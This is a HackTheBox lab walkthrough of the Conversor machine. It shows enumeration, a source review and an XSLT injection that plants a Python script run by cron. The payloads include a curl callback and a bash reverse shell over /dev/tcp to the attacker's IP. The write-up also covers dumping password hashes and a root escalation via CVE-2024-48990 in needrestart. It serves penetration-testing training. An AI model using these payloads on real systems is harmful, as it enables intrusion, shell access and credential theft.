HackTheBox | Conversor

In this walkthrough, I demonstrate how I obtained complete ownership of Conversor on HackTheBox
In: HackTheBox, Attack, CTF, Linux, Easy Challenge
Owned Conversor from Hack The Box!
I have just owned machine Conversor from Hack The Box

Nmap Results

# Nmap 7.95 scan initiated Fri Oct 31 12:33:48 2025 as: /usr/lib/nmap/nmap -Pn -p- --min-rate 2000 -sC -sV -oN nmap-scan.txt 10.129.26.250
Nmap scan report for 10.129.26.250
Host is up (0.019s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 01:74:26:39:47:bc:6a:e2:cb:12:8b:71:84:9c:f8:5a (ECDSA)
|_  256 3a:16:90:dc:74:d8:e3:c4:51:36:e2:08:06:26:17:ee (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://conversor.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: conversor.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Oct 31 12:34:06 2025 -- 1 IP address (1 host up) scanned in 17.79 seconds

💡
Don't miss an opportunity to find some breadcrumbs and interesting information in the initial nmap scan output. We can see a redirect to http://conversor.htb in the HTTP title. Let's add that to our /etc/hosts file.
echo -e '10.129.26.250\t\tconversor.htb' | sudo tee -a /etc/hosts





Service Enumeration

TCP/80

Walking the Application

Walking the “happy path” · Pwning OWASP Juice Shop
ℹ️
We don't know anything about the web application at the moment, so for now, we'll just click around on the page; testing different links and putting expected inputs in any input fields. We just want to understand for now what certain things do.
Let's register for an account, since we have to login to proceed
Looks like the app is a XML, XSLT parser. They even have a template to test with.
ℹ️
At this phase, we're not attacking, just interacting with the app as the developer intended (although I do already have some ideas as far as where this is heading -- some kind of injection attack involving XML).
Snippet of the sample they provided
I redid my initial nmap scan and output as XML for the upload
At this point, we've tested all of the clickable areas and input points that a normal user would be expected to use. Thus, we have concluded the initial walk of the application, and should go back and review our Burp / proxy request history as an initial first step to uncover potential findings.



Penetration Testing

What we Know So Far

  • File Upload
    • We provide a .xml or .xslt file and upload
    • This parses the input files and converts the nmap reports to an HTML overview
      • Without further enumeration, my assumption is that file upload to RCE is going to be feasible
      • We'd have to see if we can override the .xml or .xslt file extension and upload a .php file or similar, since the server is Apache
      • We'd also need to have access to the directory where the upload files are stored, and the application would have to preserve the .php file extension
      • The more likely attack path is going to be XXE or XSLT injection, since the application accepts both file types
XSLT Server Side Injection (Extensible Stylesheet Language Transformations) - HackTricks
XXE - XEE - XML External Entity - HackTricks
  • Account Registration
    • If the injection attack path fails, it's worth exploring the registration path further
    • There are some simple checks we can do to test for SQL injection on the login form



More Enumeration before Attack

gobuster vhost -u http://10.129.26.250 \
-w /usr/share/seclists/Discovery/DNS/namelist.txt \
--domain 'conversor.htb' --append-domain \
-t 50 \
-r \
-o vhost.txt

Enumerate any additional virtual hosts, none found

gobuster dir -u http://conversor.htb \
-w /usr/share/seclists/Discovery/Web-Content/big.txt \
-x php,html \
-t 20 \
-o dir.txt

Enumerate directories and / or files

/about                (Status: 200) [Size: 2842]
/convert              (Status: 405) [Size: 153]
/javascript           (Status: 301) [Size: 319] [--> http://conversor.htb/javascript/]
/login                (Status: 200) [Size: 722]
/logout               (Status: 302) [Size: 199] [--> /login]
/register             (Status: 200) [Size: 726]
/server-status        (Status: 403) [Size: 278]



Review the Source Code

/about page contains a link to the source code
It has a .tar.gz extension, but appears to be a regular tar archive
💡
And THIS is why you enumerate before you go spraying attacks at the server.
mkdir source
tar -C source -xvf source_code.tar.gz
cat ./source/app.py

app.py

from flask import Flask, render_template, request, redirect, url_for, session, send_from_directory
import os, sqlite3, hashlib, uuid

app = Flask(__name__)
app.secret_key = 'Changemeplease'

BASE_DIR = os.path.dirname(os.path.abspath(__file__))
DB_PATH = '/var/www/conversor.htb/instance/users.db'
UPLOAD_FOLDER = os.path.join(BASE_DIR, 'uploads')
os.makedirs(UPLOAD_FOLDER, exist_ok=True)

def init_db():
    os.makedirs(os.path.join(BASE_DIR, 'instance'), exist_ok=True)
    conn = sqlite3.connect(DB_PATH)
    c = conn.cursor()
    c.execute('''CREATE TABLE IF NOT EXISTS users (
        id INTEGER PRIMARY KEY AUTOINCREMENT,
        username TEXT UNIQUE,
        password TEXT
    )''')
    c.execute('''CREATE TABLE IF NOT EXISTS files (
        id TEXT PRIMARY KEY,
        user_id INTEGER,
        filename TEXT,
        FOREIGN KEY(user_id) REFERENCES users(id)
    )''')
    conn.commit()
    conn.close()

init_db()

def get_db():
    conn = sqlite3.connect(DB_PATH)
    conn.row_factory = sqlite3.Row
    return conn

@app.route('/')
def index():
    if 'user_id' not in session:
        return redirect(url_for('login'))
    conn = get_db()
    cur = conn.cursor()
    cur.execute("SELECT * FROM files WHERE user_id=?", (session['user_id'],))
    files = cur.fetchall()
    conn.close()
    return render_template('index.html', files=files)

@app.route('/register', methods=['GET','POST'])
def register():
    if request.method == 'POST':
        username = request.form['username']
        password = hashlib.md5(request.form['password'].encode()).hexdigest()
        conn = get_db()
        try:
            conn.execute("INSERT INTO users (username,password) VALUES (?,?)", (username,password))
            conn.commit()
            conn.close()
            return redirect(url_for('login'))
        except sqlite3.IntegrityError:
            conn.close()
            return "Username already exists"
    return render_template('register.html')
@app.route('/logout')
def logout():
    session.clear()
    return redirect(url_for('login'))


@app.route('/about')
def about():
 return render_template('about.html')

@app.route('/login', methods=['GET','POST'])
def login():
    if request.method == 'POST':
        username = request.form['username']
        password = hashlib.md5(request.form['password'].encode()).hexdigest()
        conn = get_db()
        cur = conn.cursor()
        cur.execute("SELECT * FROM users WHERE username=? AND password=?", (username,password))
        user = cur.fetchone()
        conn.close()
        if user:
            session['user_id'] = user['id']
            session['username'] = username
            return redirect(url_for('index'))
        else:
            return "Invalid credentials"
    return render_template('login.html')


@app.route('/convert', methods=['POST'])
def convert():
    if 'user_id' not in session:
        return redirect(url_for('login'))
    xml_file = request.files['xml_file']
    xslt_file = request.files['xslt_file']
    from lxml import etree
    xml_path = os.path.join(UPLOAD_FOLDER, xml_file.filename)
    xslt_path = os.path.join(UPLOAD_FOLDER, xslt_file.filename)
    xml_file.save(xml_path)
    xslt_file.save(xslt_path)
    try:
        parser = etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False, load_dtd=False)
        xml_tree = etree.parse(xml_path, parser)
        xslt_tree = etree.parse(xslt_path)
        transform = etree.XSLT(xslt_tree)
        result_tree = transform(xml_tree)
        result_html = str(result_tree)
        file_id = str(uuid.uuid4())
        filename = f"{file_id}.html"
        html_path = os.path.join(UPLOAD_FOLDER, filename)
        with open(html_path, "w") as f:
            f.write(result_html)
        conn = get_db()
        conn.execute("INSERT INTO files (id,user_id,filename) VALUES (?,?,?)", (file_id, session['user_id'], filename))
        conn.commit()
        conn.close()
        return redirect(url_for('index'))
    except Exception as e:
        return f"Error: {e}"

@app.route('/view/<file_id>')
def view_file(file_id):
    if 'user_id' not in session:
        return redirect(url_for('login'))
    conn = get_db()
    cur = conn.cursor()
    cur.execute("SELECT * FROM files WHERE id=? AND user_id=?", (file_id, session['user_id']))
    file = cur.fetchone()
    conn.close()
    if file:
        return send_from_directory(UPLOAD_FOLDER, file['filename'])
    return "File not found"
This part from install.md is also very interesting, perhaps alluding to something



Testing Injection Attacks

Researching the Core Technologies

Looking at app.py, it's pretty clear that the most interesting aspects of the app are going to be at the /convert endpoint. Almost 100% certainty that there is no SQL injection, as the app is using prepared statements to interact with the SQLite backend.

Line 104 is going prevent XXE and loading of remote files
ℹ️
I tried a few of the attacks on HackTricks and other repos, but had no luck with local file read either. It could be a permissions issue, or the fact that libxlst refused to load the file since it wasn't a valid XML file (e.g. /etc/passwd).

Pivoting from there, I started looking at some of the Python module imports...

The most interesting bit -- to me -- is "line 98"
  • The application imports the etree function from the lxml module
  • Running this search on Google yielded one interesting result
Analysis of CVE-2023-46214 + PoC
CVE-2023-46214 is a Remote Code Execution (RCE) vulnerability found in Splunk Enterprise which was disclosed on November 16, 2023 in the Splunk security advisory SVD-2023-1104. The description of the vulnerability essentially states that Splunk Enterprise versions below 9.0.7 and 9.1.2 are not safely sanitizing user supplied extensible stylesheet language transformations (XSLT).

This write up is pretty interesting, as it has a lot of parallels to our current setup:

  • XSLT parser
  • A script engine will run the code written to the target
From the writeup, our target almost certainly meets all of the requirements
Malicious .xslt example

This payload does the following:

  • Looks at the content between <xsl:text></xsl:text>
  • Writes said contents to the file path in <exsl:document href="" method="text">
    • Whichever path is in href is the target file
    • We know from install.md that the target server has a cron job running every minute
* * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done

Any .py scripts in this directory will be executed



More Efficient Testing

We need a way to do this from the command line to streamline file edits and uploads without having to click around lots of different places.

In my Burp window, I can inspect the last call to the /convert URL and make note of a few things.

  • The Cookie: header
  • The web form inputs
Input 1: xml_file and content type application/xml
Input 2: xslt_file and content type application/xslt+xml

We can pretty easily convert this to a curl command using these facts:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" extension-element-prefixes="exsl">
  <xsl:template match="/">
    <exsl:document href="/var/www/conversor.htb/scripts/pwn.py" method="text">
        <xsl:text>
import os
os.system("curl http://10.10.14.168/rce")
        </xsl:text>
    </exsl:document>
  </xsl:template>
</xsl:stylesheet>

test.xslt

⚠️
Note: Indentation is very important here! The import os and os.system calls should be completely to the left for the Python interpreter to read the script, since it's an indentation based language.
sudo python3 -m http.server 80

Start a Python HTTP server to watch for connections from the target

export COOKIE='Cookie: session=eyJ1c2VyX2lkIjo1LCJ1c2VybmFtZSI6InRlc3QifQ.aQT42g.I63oWYXOo1hyHqkuEAa0jW0fvic'

Set the cookie header in a variable

curl -H "$COOKIE" \
-F 'xml_file=@nmap.xml;type=application/xml' \
-F 'xslt_file=@test.xslt;type=application/xslt+xml' \
http://conversor.htb/convert

Reads nmap.xml and test.xslt from the current directory, so make sure these files exist or rename them in your command.

The top frame shows the file upload was successful, the bottom-right shows the server calling back to our Python web server 🎉





Exploit

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" extension-element-prefixes="exsl">
  <xsl:template match="/">
    <exsl:document href="/var/www/conversor.htb/scripts/pwn.py" method="text">
        <xsl:text>
import os
os.system("/bin/bash -c '/bin/bash -i &gt;&amp; /dev/tcp/10.10.14.168/443 0&gt;&amp;1'")
        </xsl:text>
    </exsl:document>
  </xsl:template>
</xsl:stylesheet>

test.xslt

⚠️
Note: You must escape certain reserved characters as XML entities! In other words, using a > and & character will be parsed as XML, when we want them to be translated literally. So > becomes &gt; and & becomes &amp;.
Very nice! 😎





Post-Exploit Enumeration

Operating Environment

OS & Kernel

Linux conversor 5.15.0-160-generic #170-Ubuntu SMP Wed Oct 1 10:06:56 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux

PRETTY_NAME="Ubuntu 22.04.5 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.5 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy

Current User

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Sorry, user www-data may not run sudo on conversor.



Users and Groups

Local Users

fismathack:x:1000:1000:fismathack:/home/fismathack:/bin/bash    

Local Groups

fismathack:x:1000:fismathack    



Network Configurations

Network Interfaces

eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b0:31:4a brd ff:ff:ff:ff:ff:ff
    altname enp3s0
    altname ens160
    inet 10.129.26.250/16 brd 10.129.255.255 scope global dynamic eth0
       valid_lft 2235sec preferred_lft 2235sec
   



Interesting Files

/var/www/conversor.htb/instance/users.db

which sqlite3
sqlite3 /var/www/conversor.htb/instance/users.db 'SELECT * FROM users;'
1|fismathack|5b5c3ac3a1c897c94caad48e6c71fdec
5|test|098f6bcd4621d373cade4e832627b4f6





Privilege Escalation

Lateral to Fismathack

echo '5b5c3ac3a1c897c94caad48e6c71fdec' > hash
ssh fismathack@conversor.htb
Always good to check upon changing users
Looks to be a Perl script



Becoming Root

Doing some research on potential exploits for needrestart, Google pointed me to a few CVEs, with CVE-2024-48990 being the most interesting, as it based on PYTHONPATH manipulation and causing needrestart to execute malicious Python code from an attacker-controlled path.

Rediscovering CVE-2024–48990 and Crafting My Own Exploit
Introduction

Really nice writeup here on manual exploitation of the vulnerability

That said, there is a public POC for exploiting this vulnerability remotely via shell commands executed over SSH.

GitHub - Serner77/CVE-2024-48990-Automatic-Exploit: Automated local privilege escalation exploit for CVE-2024-48990 (needrestart v3.7), leveraging PYTHONPATH hijacking to gain root access.
Automated local privilege escalation exploit for CVE-2024-48990 (needrestart v3.7), leveraging PYTHONPATH hijacking to gain root access. - Serner77/CVE-2024-48990-Automatic-Exploit
euid=0, we are root!



Flags

User

02e4bd3ed56ed42f414192b343a32c2d    

Root

a2c870d0124db4921089bc867b7273d1    
Comments
More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.